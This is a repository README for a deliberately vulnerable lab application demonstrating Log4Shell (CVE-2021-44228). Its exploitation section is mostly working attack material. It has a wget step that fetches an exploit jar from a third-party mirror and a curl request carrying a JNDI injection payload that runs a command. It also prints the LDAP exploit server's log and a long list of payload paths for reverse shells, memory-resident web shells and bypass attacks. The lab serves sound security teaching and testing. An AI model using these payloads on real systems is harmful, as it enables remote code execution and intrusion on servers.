# Log4Shell sample vulnerable application (CVE-2021-44228) This repository contains a Spring Boot web application vulnerable to CVE-2021-44228, nicknamed [Log4Shell](https://www.lunasec.io/docs/blog/log4j-zero-day/). It uses Log4j 2.14.1 (through `spring-boot-starter-log4j2` 2.6.1) and the JDK 1.8.0_181. ![](./screenshot.png) ## Running the application Run it: ```bash docker run --name vulnerable-app --rm -p 8080:8080 ghcr.io/christophetd/log4shell-vulnerable-app@sha256:6f88430688108e512f7405ac3c73d47f5c370780b94182854ea2cddc6bd59929 ``` ## Exploitation steps *Note: This is highly inspired from the original [LunaSec advisory](https://www.lunasec.io/docs/blog/log4j-zero-day/). **Run at your own risk, preferably in a VM in a sandbox environment**.* **Update (Dec 13th)**: *The JNDIExploit repository has been removed from GitHub (presumably, [not by GitHub](https://twitter.com/_mph4/status/1470343429599211528))... [Click Here](https://gitea.avc.cx/borekon/log4shell-vulnerable-app/raw/branch/main/JNDIExploit.v1.2.zip) to Download it * Use [JNDIExploit](https://github.com/zzwlpx/JNDIExploit) to spin up a malicious LDAP server ```bash wget https://gitea.avc.cx/borekon/log4shell-vulnerable-app/raw/branch/main/JNDIExploit.v1.2.zip unzip JNDIExploit.v1.2.zip java -jar JNDIExploit-1.2-SNAPSHOT.jar -i your-private-ip -p 8888 ``` * Then, trigger the exploit using: ```bash # will execute 'touch /tmp/pwned' curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://your-private-ip:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}' ``` * Notice the output of JNDIExploit, showing it has sent a malicious LDAP response and served the second-stage payload: ``` [+] LDAP Server Start Listening on 1389... [+] HTTP Server Start Listening on 8888... [+] Received LDAP Query: Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo [+] Paylaod: command [+] Command: touch /tmp/pwned [+] Sending LDAP ResourceRef result for Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo with basic remote reference payload [+] Send LDAP reference result for Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo redirecting to http://192.168.1.143:8888/Exploitjkk87OnvOH.class [+] New HTTP Request From /192.168.1.143:50119 /Exploitjkk87OnvOH.class [+] Receive ClassRequest: Exploitjkk87OnvOH.class [+] Response Code: 200 ``` * To confirm that the code execution was successful, notice that the file `/tmp/pwned.txt` was created in the container running the vulnerable application: ``` $ docker exec vulnerable-app ls /tmp ... pwned ... ``` ## Supported LDAP queries All words are **case INSENSITIVE** when send to ldap server ``` [+] Basic Queries: ldap://127.0.0.1:1389/Basic/[PayloadType]/[Params], e.g. ldap://127.0.0.1:1389/Basic/Dnslog/[domain] ldap://127.0.0.1:1389/Basic/Command/[cmd] ldap://127.0.0.1:1389/Basic/Command/Base64/[base64_encoded_cmd] ldap://127.0.0.1:1389/Basic/ReverseShell/[ip]/[port] ---windows NOT supported ldap://127.0.0.1:1389/Basic/TomcatMemshell ldap://127.0.0.1:1389/Basic/JettyMemshell ldap://127.0.0.1:1389/Basic/WeblogicMemshell ldap://127.0.0.1:1389/Basic/JBossMemshell ldap://127.0.0.1:1389/Basic/WebsphereMemshell ldap://127.0.0.1:1389/Basic/SpringMemshell [+] Deserialize Queries: ldap://127.0.0.1:1389/Deserialize/[GadgetType]/[PayloadType]/[Params], e.g. ldap://127.0.0.1:1389/Deserialize/URLDNS/[domain] ldap://127.0.0.1:1389/Deserialize/CommonsCollections1/Dnslog/[domain] ldap://127.0.0.1:1389/Deserialize/CommonsCollections2/Command/[cmd] ldap://127.0.0.1:1389/Deserialize/CommonsBeanutils1/Command/Base64/[base64_encoded_cmd] ldap://127.0.0.1:1389/Deserialize/C3P0/ReverseShell/[ip]/[port] ---windows NOT supported ldap://127.0.0.1:1389/Deserialize/Jre8u20/TomcatMemshell ---ALSO support other memshells [+] TomcatBypass Queries ldap://127.0.0.1:1389/TomcatBypass/Dnslog/[domain] ldap://127.0.0.1:1389/TomcatBypass/Command/[cmd] ldap://127.0.0.1:1389/TomcatBypass/Command/Base64/[base64_encoded_cmd] ldap://127.0.0.1:1389/TomcatBypass/ReverseShell/[ip]/[port] ---windows NOT supported ldap://127.0.0.1:1389/TomcatBypass/TomcatMemshell ldap://127.0.0.1:1389/TomcatBypass/SpringMemshell [+] GroovyBypass Queries ldap://127.0.0.1:1389/GroovyBypass/Command/[cmd] ldap://127.0.0.1:1389/GroovyBypass/Command/Base64/[base64_encoded_cmd] [+] WebsphereBypass Queries ldap://127.0.0.1:1389/WebsphereBypass/List/file=[file or directory] ldap://127.0.0.1:1389/WebsphereBypass/Upload/Dnslog/[domain] ldap://127.0.0.1:1389/WebsphereBypass/Upload/Command/[cmd] ldap://127.0.0.1:1389/WebsphereBypass/Upload/Command/Base64/[base64_encoded_cmd] ldap://127.0.0.1:1389/WebsphereBypass/Upload/ReverseShell/[ip]/[port] ---windows NOT supported ldap://127.0.0.1:1389/WebsphereBypass/Upload/WebsphereMemshell ldap://127.0.0.1:1389/WebsphereBypass/RCE/path=[uploaded_jar_path] ----e.g: ../../../../../tmp/jar_cache7808167489549525095.tmp ``` ### base64 trick You can convert from a command to base64 with this [online web](https://www.base64encode.org/) **Note** that the `+`sign must be encoded has %2B. The following chart shows more posibilities: ![image](https://svbtleusercontent.com/nnlmc8unyj0ibg_small.png) ## Reference https://www.lunasec.io/docs/blog/log4j-zero-day/ https://mbechler.github.io/2021/12/10/PSA_Log4Shell_JNDI_Injection/ ## Contributors [@christophetd](https://twitter.com/christophetd) [@rayhan0x01](https://twitter.com/rayhan0x01)